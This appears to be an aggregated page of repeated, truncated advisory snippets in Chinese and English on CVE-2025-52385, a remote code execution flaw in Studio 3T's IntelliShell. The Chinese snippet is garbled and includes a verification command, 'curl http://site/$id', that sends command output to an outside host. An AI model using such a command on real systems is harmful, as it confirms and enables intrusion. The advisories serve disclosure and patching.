CVE-2025-52385

CVE-2025-52385 软件 : Studio 3T v.2025.1.0 漏洞报告 : Studio 3T 远程命令执行 概述 Studio 3T 版本 2025.1.0 及更早版本中存在一个严重漏洞，允许远程攻击者通过利用 IntelliShell 组件中的 childprocess 模块构造恶意载荷执行任意代码。 详情 漏洞类型: 远程命令执行 受影响产品: Studio 3T，版本 console.logstdout; 或者，使用以下命令作为验证向量：curl http://site/$id 参考 Studio 3T 官方网站 Studio 3T GitHub 仓库...

CVE-2025-52385

An issue in Studio 3T v.2025.1.0 and before allows a remote attacker to execute arbitrary code via a crafted payload to the childprocess module...

CVE-2025-52385

An issue in Studio 3T v.2025.1.0 and before allows a remote attacker to execute arbitrary code via a crafted payload to the childprocess module...

CVE-2025-52385

An issue in Studio 3T v.2025.1.0 and before allows a remote attacker to execute arbitrary code via a crafted payload to the childprocess module...

Studio 3T 安全漏洞

Studio 3T is a native cross-platform MongoDB management tool open-sourced by Studio 3T. A security vulnerability exists in Studio 3T 2025.1.0 and earlier versions, which stems from improper handling of a specially crafted payload by the childprocess module and could lead to arbitrary code executi...

CVE-2025-52385: Improper Control of Generation of Code

An issue in Studio 3T v.2025.1.0 and before allows a remote attacker to execute arbitrary code via a crafted payload to the childprocess module...

PT-2025-33035 · Studio 3T · Studio 3T

Name of the Vulnerable Software and Affected Versions: Studio 3T versions prior to 2025.1.1 Description: An issue allows a remote attacker to execute arbitrary code via a crafted payload to the child process module. Recommendations: Update to version 2025.1.1 or later...